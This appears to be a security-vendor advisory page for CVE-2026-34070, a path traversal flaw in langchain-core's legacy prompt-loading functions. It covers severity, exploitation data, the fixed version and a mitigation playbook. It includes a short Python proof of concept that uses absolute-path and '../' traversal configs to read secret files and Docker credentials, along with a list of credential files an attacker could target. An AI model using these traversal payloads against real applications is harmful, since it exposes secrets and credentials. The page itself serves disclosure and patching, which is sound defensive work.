Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-34070 langchain-core

HIGHFix: langchain-ai/langchain@27add91

CVE-2026-34070 is a high-severity (CVSS 7.5) Path Traversal vulnerability in langchain-core. A fix is available for langchain-core — see the affected versions and patch details below.

LangChain Core has Path Traversal vulnerabilites in legacy `load_prompt` functions

Also known asGHSA-qh6h-p6c9-ff54PYSEC-2026-2193
Published
Mar 31, 2026
Updated
Aug 27, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34070.

EPSS Exploitation Probability

via FIRST.org ↗
1.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs71th percentile — riskier than 71% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-34070 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍langchain-core

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to load_prompt() or load_prompt_from_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples).

Note: The affected functions (load_prompt, load_prompt_from_config, and the .save() method on prompt classes) are undocumented legacy APIs. They are superseded by the dumpd/dumps/load/loads serialization APIs in langchain_core.load, which do not perform filesystem reads and use an allowlist-based security model. As part of this fix, the legacy APIs have been formally deprecated and will be removed in 2.0.0.

Affected component

Package: langchain-core File: langchain_core/prompts/loading.py Affected functions: _load_template(), _load_examples(), _load_few_shot_prompt()

Severity

High

The score reflects the file-extension constraints that limit which files can be read.

Vulnerable code paths

Config keyLoaded byReadable extensions
template_path, suffix_path, prefix_path_load_template().txt
examples (when string)_load_examples().json, .yaml, .yml
example_prompt_path_load_few_shot_prompt().json, .yaml, .yml

None of these code paths validated the supplied path against absolute path injection or .. traversal sequences before reading from disk.

Impact

An attacker who controls or influences the prompt configuration dict can read files outside the intended directory:

  • .txt files: cloud-mounted secrets (/mnt/secrets/api_key.txt), requirements.txt, internal system prompts
  • .json/.yaml files: cloud credentials (~/.docker/config.json, ~/.azure/accessTokens.json), Kubernetes manifests, CI/CD configs, application settings

This is exploitable in applications that accept prompt configs from untrusted sources, including low-code AI builders and API wrappers that expose load_prompt_from_config().

Proof of concept

from langchain_core.prompts.loading import load_prompt_from_config

# Reads /tmp/secret.txt via absolute path injection
config = {
    "_type": "prompt",
    "template_path": "/tmp/secret.txt",
    "input_variables": [],
}
prompt = load_prompt_from_config(config)
print(prompt.template)  # file contents disclosed

# Reads ../../etc/secret.txt via directory traversal
config = {
    "_type": "prompt",
    "template_path": "../../etc/secret.txt",
    "input_variables": [],
}
prompt = load_prompt_from_config(config)

# Reads arbitrary .json via few-shot examples
config = {
    "_type": "few_shot",
    "examples": "../../../../.docker/config.json",
    "example_prompt": {
        "_type": "prompt",
        "input_variables": ["input", "output"],
        "template": "{input}: {output}",
    },
    "prefix": "",
    "suffix": "{query}",
    "input_variables": ["query"],
}
prompt = load_prompt_from_config(config)

Mitigation

Update langchain-core to >= 1.2.22.

The fix adds path validation that rejects absolute paths and .. traversal sequences by default. An allow_dangerous_paths=True keyword argument is available on load_prompt() and load_prompt_from_config() for trusted inputs.

As described above, these legacy APIs have been formally deprecated. Users should migrate to dumpd/dumps/load/loads from langchain_core.load.

Credit

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIlangchain-coreall versions1.2.22pip install --upgrade 'langchain-core==1.2.22'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langchain-core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update langchain-core to 1.2.22 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34070 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-34070 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-34070. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This flaw is exploitable in applications that accept prompt configs from untrusted sources, including low-code AI builders and API wrappers that expose `load_prompt_from_config()`. Also, the affected functions (`load_prompt`, `load_prompt_from_config` and the `.save()` method on prompt classes) are undocumented legacy…

ProductFixed inAdvisory
Red Hat Ansible Automation Platform 2.5ansible-automation-platform-25/lightspeed-rhel8:1780082949RHSA-2026:24766
Red Hat Ansible Automation Platform 2.5ansible-automation-platform-25/lightspeed-rhel8:1787229385RHSA-2026:59159
Red Hat OpenShift AI 3.3rhoai/odh-llama-stack-core-rhel9:1782471587RHSA-2026:37275

Frequently Asked Questions

## Summary Multiple functions in `langchain_core.prompts.loading` read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to `load_prompt()` or `load_prompt_from_config()`, an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (`.txt` for templates, `.json`/`.yaml` for examples). **Note:** The affected functions (`load_prompt`, `load_prompt_from_config`, and the `.save()` method on prompt classes) are
O3 Security · Impact-Aware SCA

Is CVE-2026-34070 in your dependencies?

O3 Security finds CVE-2026-34070 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-34070: langchain-core (High 7.5) | O3 Security